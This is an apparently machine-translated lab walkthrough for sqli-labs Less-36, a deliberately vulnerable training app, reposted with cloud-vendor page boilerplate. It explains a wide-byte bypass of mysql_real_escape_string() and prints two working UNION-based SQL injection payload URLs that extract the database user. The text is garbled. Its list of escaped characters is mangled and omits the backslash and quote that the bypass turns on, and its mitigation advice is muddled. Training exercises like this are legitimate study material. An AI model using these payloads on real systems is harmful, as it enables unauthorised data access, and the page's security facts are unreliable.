Sqli-labs less 36

Source: Internet
Author: User

Less-36

We directly see the source code for 36 off.

The Check_quotes () function above is filtered using the mysql_real_escape_string () function.

The mysql_real_escape_string () function escapes special characters in strings used in SQL statements.

The following characters are affected:

    • \x00
    • \ n
    • \ r
    • "
    • \x1a

If successful, the function returns the escaped string. If it fails, it returns false.

But because MySQL we did not set into GBK, so mysql_real_escape_string () can still be broken. The method is the same as above.

Payload:

Http://127.0.0.1/sqli-labs/Less-36/?id=-1%EF%BF%BD%27union%20select%201,user (), 3--+

We use the ' utf-16 to make breakthroughs, we can also make use of%DF.

Payload:

Http://127.0.0.1/sqli-labs/Less-36/?id=-1%df%27union%20select%201,user (), 3--+

?

Notice:

When using mysql_real_escape_string (), how to safely protect this problem requires MySQL to be set to GBK.

Setup code:

Mysql_set_charset (' GBK ', ' $conn ')

Sqli-labs less 36

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.